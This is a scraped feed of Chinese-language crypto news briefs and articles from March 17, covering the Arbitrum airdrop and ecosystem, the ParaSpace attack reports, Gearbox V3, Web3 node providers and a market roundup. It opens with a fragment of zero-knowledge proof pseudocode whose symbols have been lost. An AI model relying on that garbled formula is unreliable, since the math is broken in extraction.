r0,r1) Proximity: c0=i=0k-10[i]C1[:,i],y0=i=0k-10[i]w[i] Consistency: c1=i=0k-1r0[i]C1[:,i],y1=i=0k-1r0[i]w[i] Prover sends c1,y1,c0,y0 to the verifier. Prover computes a vector I as challenge, in which I=H(C1,R, r0,r1,c1,y1,c0,y0) for idxI do Prover sends C1 [:,idx] and the Merkle tree proof of Rootidx for C2 [:,idx] under R to verifier function PC. VERIFY_EVAL(X,X,y=(X),R) Proximity: idxI,C0[idx]==and EC(y0)==C0 Consistency: idxI,C1[idx]==and EC(y1)==C1 y== idxI, EC(C1[:,idx]) is consistent with ROOTidx, and ROOTidx’s Merkle tree proof is valid. Output accept if all conditions above holds. Otherwise output reject. 许多的零知识证明算法在设计之初都依赖证明者和验证者双方的交互，但是这种交互式证明协议不适合用在追求高效，网络通讯开销大的应用场景下，比如链上数据隐私保护和zkRollup等等。通过Fiat-Shamir启发式（Heuristic），可以在不破坏协议安全性的条件下让证明者本地生成随机数“挑战”，并且可以被证明者验证。根据这种方法，FOAKS同样实现了非交互式的证明，并应用在系统当中。  ( 5 min )
    赵长鹏建议加密公司保持1:1储备、收取透明的费用以及保持业务简单等
    PANews 3月17日消息，币安CEO赵长鹏在推特上发表其对加密公司的建议：“1.保持1:1的储备，问题会消失；2.不要为了赚钱而借钱给客户，让风投来做；3.要实现收入，可对你的服务收取透明的费用，比如促进交易。5.如果交易成本太高，就使用区块链技术降低成本。”赵长鹏对上述进行了一句话的总结，即“保持业务简单”。  ( 4 min )
    Arbitrum社区经理：Odyssey活动将重启
    PANews 3月17日消息，Arbitrum社区经理在官方Discord社区发布公告表示，Odyssey活动将重启。 此前消息，2022年6月，Arbitrum宣布Odyssey活动将暂停，在Nitro发布后恢复。  ( 4 min )
    Arbitrum发币，生态起飞？
    原文：《Layer2龙头Arbitrum治理Token上线，能把生态带起来吗？》 作者：大圣Web3 出品：白话区块链（ID：hellobtc） 3 月16 日晚，以太坊Layer2龙头项目Arbitrum 宣布发放治理Token ARB，并将于3 月23 日Airdrop给社区成员，据相关数据统计，将超过60万个钱包用户收到Token，消息再次引爆各大社群。 去年下半年，即便整个加密市场处在深熊困境当中，但Arbitrum生态代表项目GMX和Treasure DAO依然逆势增长，无论是用户数据还是Token市场表现都可圈可点，引人注目。 2023年以来，随着市场整体回暖，Arbitrum生态全面开花，高热度只增不减，Arbitrum生态有哪些值得关注的项目呢？ 在此之前，我们需要了解Arbitrum在整个Layer2（二层网络）中的地位。 Layer2是以太坊为解决高昂gas费和缓慢的处理速度而提出的扩容方案，将部分数据处理放在layer2上进行，减少主网的工作量，主网负责结算，从而提升整体的工作效率。 Layer2从提出以来，生态持续稳步发展。下图显示，以Eth本位计算，2019.11.15-2023.3.17，Layer2总锁仓量（TVL）的趋势。 图源：L2beat 在Layer2中，Arbitrum迄今最成功的。Arbitrum近乎100% EVM兼容，使得一层网络上的应用可以无缝迁移到二层上。同时，Arbitrum是二层中主网上线最早的，占据一定的先发优势。主网上线时，就有以Uniswap V3为首的74个项目部署在上面。 如图所示，迄今为止，Arbitrum的TVL占二层总量的一半以上，可以说是目前Layer2中当之无愧的龙头。 最右侧市场份额排名，图源：L2beat 接下来，小编将从DeFi,GameFi等主要的板块来介绍Arbitrum上关注度较高的项目。 衍生品 1.Gmx GMX于 2021 年 9 月推出，是一个永续合约和现货DEX，支持用户以0滑点和高达 50倍的杠杆率，没有 KYC 或地域限制。 使用Chainlink 提供的动态聚合预言机喂价（来自头部Cex）来定价。 在经济模型和运行机制上，项目有独到之处：GMX体系内有两种Token，分别为协议的治理Token GMX和LP（流动性提供者）Token GLP。 GMX两种Token流通情况 GMX和GLP持有者分别获得协议中现货和杠杆产生费用的30%及70%，Token有较好的价值捕获。 同时，GMX Token采用双重质押的机制，降低了 GMX 通货膨胀的风险，减少Token流通。而GLP流动性提供者作为对手盘，可以获得流动池中亏损者的盈利。因为GLP是零和博弈，用户亏损则GLP获利，反之亦然。 Gmx是目前Arbitrum上锁仓量最高的项目，TVL占比28.5%（根据Defillama数据），市值6.8亿美元。 2.Gains Network Gains Network 创始团队匿名，其产品 gTrade 是一个针对加密资产、外汇和股票的去中心化合成杠杆协议，种类丰富，包含Token、外汇和Token化股票等100多种，杠杆率在所有DEX中最高，加密资产品类最高支持150倍杠杆。 使用自定义实时 Chainlink 节点运营商网络（DON）进行报价，为每笔价格获取中位数值，很好的保障了用户权益。 Gains 采⽤了与 GMX 有点相似的模型，操作者同样与流动性提供者进行博弈，但流动性提供者只能使用DAI存入金库，产品相当于在CEX中常用的U本位合约。 其原生Token GNS存在销毁机制，当系统抵押的DAI 达到130%后，会从 GNS/DAI 池中购买和销毁 GNS，达到Token通缩的目的。 目前Gains是Arbitrum上交换量仅次于GMX的第二大衍生品DEX，市值2.7亿美元。 期权Arbitrum 3.Dopex Dopex是一种去中心化的期权协议，其目标是流动性最大化，同时最小化期权卖方的损失并最大化期权买方的收益。 Dopex 提供了一个简单易用的平台，这意味着任何人都可以参与期权池，用户可以为各自的资金池存入基础/报价，通过流动性资金池卖出和购买折扣期权来赚取被动收入。 项目使用双Token模式，DPX是有限供应的治理Token，rDPX是给补偿期权卖方损失的回扣Token，可用于铸造合成资产。 Dopex是Arbitrum上锁仓量最高的期权类项目，目前Token市值9000万美金，目前主要流动性在sushiswap Dex 4.Camelot Camelot的主要功能是Uniswap V2+Curve类型的DEX，在手续费、激励措施、Token模型等方面做了改进。具备一个Launchpad，项目方可以借此进行融资并引导流动性。 借贷 5.RNDT Radiant Radiant是Arbitrum上的全链借代协议，其目标是成为一个全链资本市场，用户可以在任何支持的链上存入资产，并跨多条链借入各种资产。跨链互操作性将建立在LayerZero之上，利用Stargate的路由接口，让抵押品的代方能够在各条链上提取资金。头部借代项目Aave在V3版本中也会支持跨链借代，但目前还未上线。 Radiant官方近期表示，预计将于未来几周在Arbitrum上正式启动V2版本并迁移，未来还将部署在BNB Chain上。目前官方采用流动性挖矿的方式，刺激用户使用借代服务，TVL一路飙升。如图所示，Radiant目前是Arbitrum上TVL最高的借代协议。 稳定币 6.Vesta Finance Vesta Finance是一个 Arbitrum 生态内的稳定币协议，该协议允许用户存入抵押品以铸造美元稳定币 VST ,VST与美元挂钩。 Vesta 的其他几个特点包括： · 低抵押率：要求用户的抵押金库以远低于竞争对手的最低抵押率进行抵押（例如，ETH 为 110%，renBTC 为 110%，gOHM 为 175%） 。 ·立即赎回：VST 持有人可以随时赎回他们的 VST 稳定币作为基础抵押品。赎回机制以及算法调整的费用保证了最低 1 美元的稳定币价值。 该项目的Mcap/TVL仅有0.22，是Arbitrum 生态内的稳定币协议中最低的，一般情况下，该数值越小，代表项目上升潜力更大。 1. Treasure DAO Treasure DAO是一个去中心化的游戏发布平台，通过自下而上驱动的 IP 和基础设施将游戏和社区连接在一起，并通过一组通用的可组合资源统一起来。 起初其IP来自于一个知名NFT项目Loot，由此发展出衍生的NFT项目和NFT生态，其于 2021 年 9 月份由社区推出，方式为社区驱动、公平启动。 MAGIC 是 Treasure 的原生 Token ，是 Treasure 市场的唯一资产。Treasure 生态的每个社区都围绕 MAGIC Token 构造自己的故事，通过 MAGIC 将叙事和经济生态联系在一起。 TreasureDAO 由质押 MAGIC 的持有者管理，负责监督该项目。DAO 投票决定加入哪些项目、MAGIC Token 分配，以及市场和协议的收益分享。 绝大多数团队成员直接来自社区，之后在数轮战略投资和社区发展下，诞生了十余款游戏和基础设施类型的项目，其中beacon游戏在去年11月爆火。项目的特色在于使用magic原生Token把整个生态都整合起来，相互联系，构建更加完善的经济结构，使gameFi生态更加可持续化。 2. Trident Trident 是一款 2D MMO、程序生成的无限宇宙游戏，由 Geyser Forge Studios 开发，它提出了一种新的可持续 GameFi 模型“Risk To Earn”来增强玩家的游戏经济。 R2E即玩家和持币人可以投注赚取收益，协议抽成收入反哺Token。举例：当一个人获胜时，他们会从失败的人那里获得“Risk”的赏金。下注的Token要么在玩家之间交换，一小部分进入国库，要么可以在公开市场上进行互动。此种方式增加了游戏Token的消耗方式，一定程度上延长Token通胀的周期，增长了游戏经济的寿命。 Trident 目前有两款游戏正在开发中：Trident MMO 和 Trident Sprite Duels（精灵决斗），以及 Trident 的练习模式 Legacy Trident，并将 Risk To Earn 模式融入其游戏玩法中。 1.Yieldification Yieldification 是一个支持 NFTFi 的 DeFi 平台，平台目前由永续合约、OTC 、NFT 三个主要部分组成，YDF 生态系统正在构建独特的 NFT 实用程序，旨在为 NFT 玩家产生额外收入并为投资者提供更多长期投资收益选择。 1.Synapse Synapse 是一种跨链消息传递协议，该协议包括：广义跨链通信、安全模型、syn桥。 Synapse Bridge 使用户能够使用 AMM 在一系列 L1 和 L2 资产之间进行交换。Synapse 扩展到以太坊及其包含的链，并支持在 Canto、Avalanche 和 Harmony 等 Layer 1 以及 Arbitrum 和 Optimism 等著名的以太坊 L2 之间进行交换。 项目原生TokenSYN，市值2亿美元，近期2月22日上线各大头部平台。 Arbitrum上还有不少关注度较高的项目，感兴趣的小伙伴可以再做了解。总体来说，Arbitrum上项目种类几乎涵盖了目前的大部分项目类别，但不乏一些蹭热度的土狗项目，新兴项目风险较高，需擦亮眼睛。  ( 5 min )
    币安将下架HNT和WABI
    PANews 3月17日消息，据官方公告，币安宣布将下架HNT和WABI，3月24日11:00将停止Helium (HNT)和Tael (WABI)的交易。币安将于3月25日11:00暂停HNT的充值业务，3月25日11:00之后的HNT充值将不会上账并不再支持找回。币安将支持Helium（HNT）于Solana（SOL）网络的合约置换。具体安排如下：币安将于4月17日11:00暂停HNT的提现业务；HNT代币的提现将于4月21日11:00重新开放，并将继续支持到6月24日11:00。 此外，币安将于3月25日11:00暂停WABI的充值业务，之后充值将不会上账。用户可以在2023年6月24日11:00之前提现WABI，之后将关闭提现功能。  ( 4 min )
    BlockSec：已阻止对ParaSpace的一起攻击，挽救2900 ETH资产
    PANews 3月17日消息，安全公司BlockSec在推特上表示：“其已经阻止了对NFT借贷协议ParaSpace的一起攻击，挽救了2900 ETH资产，希望ParaSpace官方尽快与其取得联系。” 此前今日早些时候消息，ParaSpace以发现可疑交易为由暂停该协议，不过在此前，该合约发生故障，允许用户超额提取APE且造成大量错误清算。  ( 4 min )
    ParaSpace协议暂停前合约发生故障，允许用户超额提取APE且造成大量错误清算
    PANews 3月17日消息，Web3知识图谱协议0xscope发推表示：“ParaSpace合约无法正常工作：1.用户可以提取比他们想象的更多的APE 。2.用户债务计算错误导致268个清算正在进行中。”0xscope提醒到：“提取您的资产需要您自担风险。” 此前今日早些时候消息，NFT借贷协议ParaSpace疑似遭遇攻击，项目团队已暂停该协议。  ( 4 min )
    NFT借贷协议ParaSpace疑似遭遇攻击，项目团队已暂停该协议
    PANews 3月17日消息，NFT借贷协议ParaSpace在推特上表示：“我们注意到一笔可疑的交易，作为安全措施，我们暂停了整个ParaSpace协议。目前，我们的合约无法进行任何交易（取款、存款、清算）。我们目前正在调查并将为您提供更新。” 此外，加密KOL Jampzer发推文称，ParaSpace疑似遭遇攻击，似乎有2906枚WETH被转移出去了，许多人声称其借款数量、健康因素和cAPE数量等数据不一致。  ( 4 min )
    Gearbox V3即将发布，一文速览升级细节
    原文：《Gearbox V3 能否重塑杠杆和借贷？》 撰文：Karen，Foresight News DeFi 可组合型杠杆协议 Gearbox Protocol于本周预告 V3 版本升级细节，并将新版本视为重新定义杠杆和借贷的 DeFi 杠杆基础层，那 Gearbox V3 究竟能实现什么？有哪些值得期待的新功能或特点？ V3 在 V2 性能和代码库基础上构建，不仅可以添加流动性较低的池、代币和协议，还能够将这些池模块化，在不分散流动性的情况下为用户提供更多附加选择。 也就是说，贷方继续在当前非常保守的主流蓝筹借贷池中提供流动性，获得 dTokens，也可以选择将这些主池 dTokens 存入风险较高的 Alpha 池中赚取更多 APY，不过需要承担更多风险。 额外的 Alpha 池会集成更多的 DeFi、NFT 协议，不过这类池子的集成仍会设置相对保守的 LTV（贷款价值比）和严格的清算规则。贷方获得的 APY 包括主流蓝筹池的基础 APY 加上 Alpha 池的基础 APY 以及从配额（quotas）中收取的额外费用。除 Alpha 之外，之后还可能会有其他模块化池。 Gearbox V3 将允许为白名单列表中的资产引入整体风险敞口上限（由风险委员会建议和治理），每个白名单资产都会有一个阈值（以相应借贷池基础资产计价），即，从该池借款的所有信用账户中该资产的风险敞口总值（配额 quota ）不得超过这个上限。 用作特定 CA 抵押品的资产的实际数量由配额（quota）决定，该配额也以标的资产计价。每个借方都可以为每个中尾资产设置他们想要的任何配额值。设置的配额越大，需要支付的利息就越高。 如果用户在该池中的实际资产价值超过该配额，超过部分将不被计算在内，如果少于配额，则将实际价值视为风险敞口。所有配额的总和不会超过整体风险敞口上限。 Gearbox 表示，这个机制能够在无需增加协议风险的前提下添加长尾、中尾资产等流动性较低的资产，以及其他协议或资产类别，并同时确保流动性可用性和杜绝坏账问题，还将使得跨链或者在 Layer2 上部署成为可能，而不需要担心 Layer2 流动性过低的问题。 V3 还将新引入一种源自配额的利息，借款人支付的额外利息与每项资产的配额有关，而非实质借款金额。该配额利息将支付给 Alpha 池，也就是说，Alpha 池收到的利息包括：主流蓝筹池基础 APY+ Alpha APY+ 配额利息。然后 DAO 会从中收取一定的利息费用。 配额 APR 由两部分组成，一部分为支付给 LP 基于敞口风险的最低风险溢价，该值由风险委员会设定，APR 不得低于该值；另外一部分高于最低风险溢价的部分将在杠杆借款人（Ninjas）和 LP 之间进行分成。最大 APR 由经济学委员会估算，这两个值都会定期修订。 Ninjas 和 LP 之间的分成平衡就成了非常值得关注和谨慎的问题，具体分成比例将由 GEAR 代币持有者链上投票决定，GEAR 持有者投票LP bucket 或者 Ninjas bucket，每个 bucket 中 GEAR 的比例决定实际 APR 值。 为了避免漏洞利用和防止 flash-voting 将资金快速偏向某中代币或资金池， GEAR 代币持有者投票锁定的代币，可能会有 1 至 4 周的解质押期。每 epoch 开始都会举行一次投票，不更改选择的投票会自动滚动到下一个 epoch。Stakers也可能会共享一部分额外收入。 此外，V3 也会添加自动化合约 Gearbot，允许信用账户所有者将其活跃账户某些管理委托给第三方，从而进行自动化投资组合管理，如止损、止盈、健康指数自动维护、自动测量管理等活动。除此之外，自动化管理链上基金也将变得更容易创建，存款人不必将其资金托管给第三方。 Gearbox V3 版本预计将于二季度末推出，该版本不仅为主池贷款人创造了额外 Alpha Pool 收益机会，也将添加更多中尾、长尾资产以及多样的 DeFi 和 NFT 协议，除此之外，Gearbox 通过设置白名单资产风险敞口上限和配额自定义的创新机制，能够确保链上有足够的可用流动性并在一定程度上缓解借贷风险，并有希望帮助以太坊和其他其他流动性较低的公链 / 网络生态提供更安全、流动性可用程度更高的杠杆和借贷可组合功能，从而带来更多的可组合性和可能性。  ( 5 min )
    PA图说 | Arbitrum空投后，速览其他潜在空投的知名项目
    备受期待的Layer2龙头Arbitrum于3月16日宣布即将向其社区成员空投治理代币，再度引发空投热潮，那么还有哪些知名潜在项目值得我们关注和参与？ 相关专题：空投信息聚合器  ( 4 min )
    V神建议使用社交恢复钱包和多签钱包实现加密资金自托管
    PANews 3月17日消息，以太坊联合创始人V神（Vitalik Buterin）发文称，自托管非常重要，社交恢复钱包和多重签名钱包是实现这一目标的好方法。他自己使用多重签名钱包来存储大部分资金，以太坊基金会也是如此。一旦社交恢复钱包变得足够成熟，Vitalik的建议是将社交恢复钱包用于存储个人或组织一小部分资金的热钱包，以及将多重签名用于存储个人或组织储蓄的冷钱包。  ( 4 min )
    盘点Web3基础设施服务商
    编译：Cindy，SophonLabs 区块链技术的普及和发展已经改变了数以千计组织和企业的业务和操作方式，而区块链基础设施则成为推动这类变革的关键因素。它是区块链生态系统的基础，并借助其支持去中心化应用程序和数字资产。很多钱包，交易所，由于需要进行以太坊转账也都必须部署完整的以太坊节点，因此节点的部署和运维确实需要耗费很多精力，尤其是随着公链数量的增加，这方面的工作越来越繁重。在这种背景下，以Infura为首的基础设施应运而生。它的核心工作是帮助第三方应用（包括钱包、交易所等）部署和运维节点，以便让他们可以专注于核心业务的拓展。因此，第三方应用只需要通过Infura提供的API以及以太坊等公链网络进行交互，免去了运维节点的烦恼。随着Infura业务的逐渐拓展，几乎占据了市场半壁江山，Infura成为重要的以太坊网络节点服务商。然而，这种垄断化趋势与区块链去中心化存在显著的冲突，一旦Infura出现故障或者被黑客攻击，这种破坏性就会波及整个加密圈。之前屡屡发生的宕机事件就对区块链生态系统造成了巨大影响，Infura宕机也会导致以太坊网络的拥堵，从而使交易确认时间变慢，交易费用变高，甚至可能导致交易失败。 作为基础架构，区块链基础设施服务为用户提供了节点、API、网络开发工具、监视和报警等特殊服务，有效地帮助开发人员和业务用户连接到区块链并重新配置基础设施。每个区块链节点在其整个生命周期中都能平稳运作。这些区块链基础设施服务的重要性不断提高，企业和组织越来越依赖这些服务，以实现高度可靠的基础设施支持工作，更快速、灵活和容易地实现区块链应用程序的创新。这些服务不仅能减少开发人员处理区块链的难度，提高应用程序建立速度，还可在整个生命周期内可靠、安全地运行。 Infura 官网：https://infura.io/ Infura是最受欢迎的以太坊基础设施服务提供商之一。其节点管理和API管理服务支持恶意攻击和垃圾请求过滤等功能，从而能够更加保证节点的灵活性和效率。该平台易于部署和使用，并能够支持现有的以太坊工具和开发人员生态系统。Infura是一种IaaS（基础设施即服务）产品，旨在为开发者和用户降低访问以太坊数据的门槛。Infura充当的是以太坊全节点的角色，通过提供API接口，无需运行本地以太坊节点，可以快速将Dapp连接到以太坊平台，实现交互。尽管可以自行部署以太坊全节点来提供类似的服务，但这需要消耗大量成本，而Infura的大部分服务都是免费的。因此，许多服务都选择依赖 Infura 来监视以太坊区块链的状态。Infura还提供负载均衡和可扩展性，以避免单点故障并进一步优化Dapp的性能。 作为一个 Web3 供应商，Infura 背后是负载均衡的 API 节点集群。简单来说，Infura 是一个公开的以太坊节点，可访问以太坊整条链上的所有数据。该节点的优势在于，Infura 是对外服务的，因此项目方或交易平台可以自己部署节点，但这很麻烦且成本高。因此 Infura 的服务就有了市场。在整个以太坊网络中，需要一种能够降低进入门槛并简化对以太坊数据访问的实用程序。其中最重要的是基础架构即服务（IaaS）产品，而在这方面较为领先的则是 Infura，它为跨行业的开发人员、DApp 团队和企业提供了一套工具，可将应用程序连接到以太坊网络和其他去中心化平台。Infura 是由开发者 Michael Wuehler 开发的以太坊基础设施，最初处于独立运营状态。2019 年被 ConsenSys 全资收购，成为其下属业务部门。Infura 推出初期是免费使用的。后来推出了订阅服务，收费标准从每月 50 美元至 1000 美元不等。不过对于需求较小的开发者或项目而言，Infura 还是十分友好的。开发者可以免费在 Infura 中创建 3 个项目，并每日使用 Infura 的 API 服务提交 10 万次请求。 Ankr 官网：https://www.ankr.com/ Ankr是一个区块链基础设施平台，旨在为开发者、企业和机构提供简单易用的区块链节点服务、API接口和开发工具等服务。Ankr致力于降低区块链开发和部署的门槛，使更多人能够轻松地开发和部署区块链应用。Ankr提供了多种节点服务，包括公共节点和私有节点，支持多个区块链网络，如以太坊、币安智能链等。同时，Ankr还提供了基于RPC和WebSocket协议的API接口，以及多种开发工具和SDK，如Web3.js、Truffle等，使开发者可以轻松地构建和部署区块链应用。Ankr的优势在于其高度可靠的节点服务、低延迟的响应速度、多种节点类型和简单易用的API接口和开发工具。同时，Ankr还提供了安全可靠的区块链节点服务，通过多个节点实例和自动故障转移来保证节点的稳定性和可用性。总的来说，Ankr是一个致力于降低区块链开发和部署门槛的区块链基础设施平台，提供了简单易用的节点服务、API接口和开发工具，为开发者、企业和机构提供了便捷、高效、可靠的区块链基础设施服务。 Alchemy 官网：https://www.alchemy.com/ Alchemy是一家成立于2017年的区块链基础设施公司。该公司的主要业务是为区块链开发者提供区块链开发平台服务，并致力于成为Web3世界的AWS。 Alchemy 是一款强大的区块链技术工具，为开发者提供了丰富的 API 支持和超级节点服务，使得开发者可以在 Ethereum、Polygon、Arbitrum、Optimism、Flow 和Crypto.com。 等多个区块链上轻松构建和部署应用程序。通过 Alchemy，开发者可以快速地连接到多种区块链网络并进行交互，同时也能够获得强大的可靠性、数据正确性和弹性，这些因素对于区块链应用程序非常重要。因此，Alchemy 是一个被广泛使用的 blockchain API 工具，旨在帮助开发者更轻松地构建、部署和管理区块链应用程序。并且Alchemy已经集成了测试网水龙头访问权限，拥有 1.8 万用户的活跃 Discord 构建者社区。 QuickNode 官网：https://www.quicknode.com/ QuickNode是一家致力于构建Web3.0云平台的公司，其主要目的是提供高效、可靠的区块链服务，帮助开发者更轻松地开发区块链应用程序。QuickNode通过直接提供专用节点为用户提供API服务，并支持多个区域、多个测试网和归档节点等特性，以此为开发者提供更好的区块链访问性能和更强的稳定性。拥有直观的仪表板、分析套件、远程过程调用编写器。QuikcNode同样支持多链（Optimism、Arbitrum、Polygon 及 11 个其他网络），并提供了方便的JSON-RPC接口，使得开发者可以即时访问链上数据。这些服务采用的是按月收费的模式，非常适合需要频繁进行链上操作和测试的开发者和项目。总之，QuickNode是一家专注于为区块链项目和开发者提供高效、可靠的区块链服务的公司，通过提供多个网络、多个区域和归档节点等特性，使得开发者可以更加轻松地开发和测试区块链应用程序。 Pocket Network 官网：https://www.pokt.network/ Pocket Network是一个服务于Web3的去中心化API协议，通过构建一个去中心化的API供应生态和无需信任的API层，帮助开发者更轻松地访问任何区块链。Pocket Network由数万个分布式节点共同运行网络，采取了冗余的设计，即使一个节点在与应用程序的会话当中脱机，该会话中的其他节点，仍将继续为其提供服务。致力于加速 Web3 基础设施的未来，建立可靠和去中心化的 RPC 网络，由具有最贡献者友好生态系统的高性能 DAO 管理。 Pocket Network的特点： 总的来说Pocket Network正在构建一个完整的区块链节点分布式网络，并使用加密经济激励措施，通过准备好提供开发API请求的节点托管服务以满足需求。通过分布式网络聚合供需，Pocket Network创建了强大的开源基础架构层，为Web3生态系统中的开发者提供了一个强大的工具。 BlockPI 官网：https://blockpi.io/ BlockPI Network于2021 年成立，是一种分布式网络结构的RPC，一个分布式多链加速层。它可参与去中心化的 Web3 环境。BlockPI 为 Web3 构建者提供高效、可靠、高性能的去中心化 API 服务。这个项目在成立之初就赢得了 Near MetaBUIDL 全球黑客马拉松的第二名。BlockPI Network获得了业内知名 VC 的支持，并于2022年年初成功完成了 300 万美元的种子轮融资。该轮融资由 Shima Capital、Hashkey Capital、NGC Ventures、Old Fashion Research、Math Wallet、Continue Capital、CMS Holdings、LucidBlue Ventures、SNZ Holding、StaFi Protocol 和 LD Capital 提供资金。因为BlockPI的分布式多链加速层，能够从根本上解决RPC请求拥塞问题，在保证RPC服务高质量高稳定性的同时具有无限扩展性。价格也是业内非常良心的价格，是同行业中性价比最高并且提供了更宽松的速率限制，对于高频用户更友好，还为所有用户免费提 Debug_trace methods。 BlockPI 从开始时，专家团队就着手完善网络结构，使其尽可能更具可持续性和可扩展性。通过不懈的努力和奉献，BlockPI Network成功地优化了网关和超节点的算法，同时添加了新的特性和功能。同时BlockPI也推出 Web3 Startup Program 启动计划为初创企业提供1000 美元的信用额度，帮助初创企业成长 BlockPI Network也是已于2023年初，成功升级了公共RPC为大家提供更稳定、更快速的免费RPC服务。节点获取网址：https://public.blockpi.io 前不久本着帮助用户能更好地使用RPC服务的初衷，开源了RPC aggregator工具RPCHub。用户可以在RPCHub中根据自己对RPC的需求来配置RPC endpoints，从而达到使用RPC的最优效果。 GitHub地址：https://github.com/BlockPILabs/aggregator BlockPI和其它主流基础设施对比如下： 总结： 区块链技术正在进一步发展，越来越多的企业和机构开始采用它，意味着区块链基础设施的需求也会不断增加。尤其是像以太坊这样的公链，因为它可以支持各种去中心化应用程序和智能合约，因此区块链基础设施服务提供商的前景非常广阔。该领域的未来潜力非常大，并且因为不断增长的市场和随着越来越多的公司和机构开始加入区块链领域，基础设施服务提供商将会看到一个越来越庞大的市场。这将促进更多的竞争，不断提高服务水平。更多的服务未来的竞争不仅仅是基于节点和API管理，还可以包括其他服务，例如: E2E工具链和安全、可扩展和容错性支持。  ( 5 min )
    数据：Republic Capital将2450万枚MATIC转入Coinbase
    PANews 3月17日消息，据Spot On Chain监测显示，Republic Capital将2450万枚MATIC（约合 2720 万美元）转入Coinbase，转入Coinbase时MATIC价格为1.11美元。据悉，Republic Capital作为Polygon去年年初4.5亿美元私募融资的投资者之一，作为资产归属的一部分，于2023年1月18日从Polygon Ecosystem Growth收到该笔资产。  ( 4 min )
    Bitget 研究院：瑞士信贷暴雷使资金更加谨慎，市场涨跌出现分歧
    总结来说 1.热门币种方面： RIO（token）：一个数字和现实世界资产的 Web3 生态系统，测试网已经上线，Alpha 版本还有 14 天上线，代币 24 小时交易量 127 万美金，近期交易额增大，用户交易频繁； POOLZ（token）：去中心化跨来 IDO 平台 Poolz Finance，昨日协议遭受攻击，代币闪崩 97%，目前在底部震荡，官方暂未公告解决情况和方案，代币 24 小时交易量 247 万美金； LQTY（token）：近期去中心化稳定币的龙头，币安刚刚上线，受益于去中心化稳定币 USDC 事件及近期币安的布局，昨日代币 LQTY 价格创下新高后有所回调，24 小时交易量 2.2 亿美金，用户关注度非常高； FET（token）：GPT-4 正式发布引发 AI 板块炒作；过去 24h 交易量 2.5 亿美金，，AI 板块头部项目 FET 价格表现强势，在市场回调时抗跌性强，资金活跃； BUNNY（token）：BSC 上的早期 dex，项目推特已数个月未更新，昨日突然出现 300% 的 1 小时放量拉升，目前代币价格在高位震荡，活跃度非常高，暂未知晓原因； GPT（token）：Daomaker 上首发的高热度项目，币价逆势创新高，24h 交易量达 2402 万美金，活跃度非常高，目前 Bitget 已上线 GPT，用户可到 Bitget 进行交易； GNS（token)：Gains Network 是一个建立在 Arbitrum 和 Polygon 上的衍生品交易平台，为用户提供加密货币和外汇交易选项，并提供杠杆交易。代币上线 Binance 后出于阴跌趋势，近期有筑底突破迹象，过去 24 小时涨幅 20%； Gridex (GDX)：Arbi 上新的订单簿现货交易所，昨日刚开放空投领取，持币地址已达 144,530 个，24 小时交易量 15 万，价格 24 小时涨幅达 450%，活跃度高； GMX（token)：衍生品 Dex 龙头，在近日回调行情中价格表现强势，仍在进行突破行情冲击前高，24 小时涨幅 8.6%；据有大的 KOL 传言 Arbitrum 即将进行空投，无法辨别真伪，用户可持续关注； Mirror Community NFTs（NFT）：Web3 内容平台 Mirror 推出 NFT 订阅铸造“Subscribe to Mint”功能，目前已在以太坊主网、Optimism 和 Polygon 链上部署，旨在支持创作者和藏家之间的互动。目前铸币已经结束，Mirror Community NFTs 有 94,348 个链上 holders。 NFTNYC（NFT）：在 Opensea 上做 Public Sale 的 NFT 项目，用户持有 NFT 可以参与今年四月份在纽约举办的 NFTNYC 大会，额外其他的活动福利；目前该 NFT 在 Opensea 的起售价格是 0.35 ETH，已经仅售出了 166 个（一共 750），热度一般； Credit DAO Proof（NFT）:NFT，0x...1809（https://opensea.io/collection/credit-dao-proof-v2），web3 信用协议，在 3 月份进行了 5 次代币销毁，目前其项目 NFT 持有地址达 102,705 个，用户数较多； Tanasinn（NFT），OWL 的竞品，用字符组成不同图案的 NFT 项目方。今日刚刚完成 Mint，社区有一定的 Fomo 情绪，目前发售 2631 个 NFT，持有地址数 698 个；上线不到 24 小时产生了 139 个 ETH 的交易量，目前地板价为 0.025 个 ETH，交易热度不错； Galxe（Dapp）：Galxe 是一个 Web3 凭证数据网络，通过凭证数据正在构建一个基于 Web3 的去中心化身份系统。 Galxe 为每个钱包用户创建了一个「Galaxy ID」，集成了用户在该平台所获得 NFT、OAT 和链上凭证信息，近期举行 Galxe 社区任务第 2 季，总奖池 15K GAL，为期四周，完成不同任务可获得相应奖励，同时还和 YoMetaverse、1inch 等联合推出了活动，日常运营非常频繁； Benji bananas（Dapp)：Animoca 旗下的 web2 游戏，可获得 apecoin 奖励和游戏代币 Primate；近日开启 JungleParty 冒险的第 2 部分，完成游戏任务可获得奖励，游戏交互增加明显； Hunters on chain（Dapp):一款免费的动作角色扮演游戏，Boomland 是资深的游戏开发商，已发布过 200 多款游戏，超过 15 亿次下载；Hunters On-Chain 是手游 Hunt Royale 的 web3 版本，该手游已有 700 万次下载；Web3 版本游戏 Hunters On-Chain 目前已成为 Polygon 上 UAW 第二的游戏； ReadON archive（Dapp)：去中心化的内容分发平台，通过收集优秀的文章并结合用户画像，为用户推送定制化内容；其弹幕节已经正式结束，将为用户根据排名分配 3.5 万美元及 100 万积分奖励； Camelot（Dapp)：Arbi 上早期的原生 Dex，近日进行项目 Perpy 打新，xGRAIL 持有人享受 150 万美元的白名单额度，代币 24 小时上涨 20%，交易量 500 万美金，热度较高； TaskON（Dapp）：定位是一个 Web3 链上任务平台，推特有 9 万人关注，其中 KOL75+ 关注了项目，近期和 Bit.Store、Tugan、MetaLine、Element 等项目方做了活动，官网 Similarweb 月访问量 29.5 万次，主要流量来源是尼日利亚、印度尼西亚、越南、土耳其、乌克兰等，项目关注度很不错； Wombat Dungeon Master（Dapp）：：NFT 质押冒险游戏，3 月 16 日推出第九季游戏，wax 账号登录、推荐用户可获得免费 NFT，UAW 暴涨 23 倍，Similarweb 月访问量 52.4 万次，主要流量来自德国、俄罗斯、墨西哥、英国、乌克兰等； VIX （Token），VIXCO，某个韩国本土项目方，做 DeFi、线下零售等业务。24 小时代币交易量 25 万美金，在韩国交易所 Bithumb 上线，没有在 DEX 上建池子，热度一般可以持续关注； DQUICK（Token），用户质押 QUICK 获得 dQUICK，dQUICK 用户获得协议产生的 0.04% 的手续费用，近期 Quickswap 和 gains network 合作推出的交易对收益较高，dQUICK 作为奖励来源；代币在 Quickswap 上有交易池子，目前 24 小时交易量有 2 万美金，池子交易深度为 36 万美金，交易热度一般； Swiss Credit（TradFi），瑞士信贷银行开盘跌近 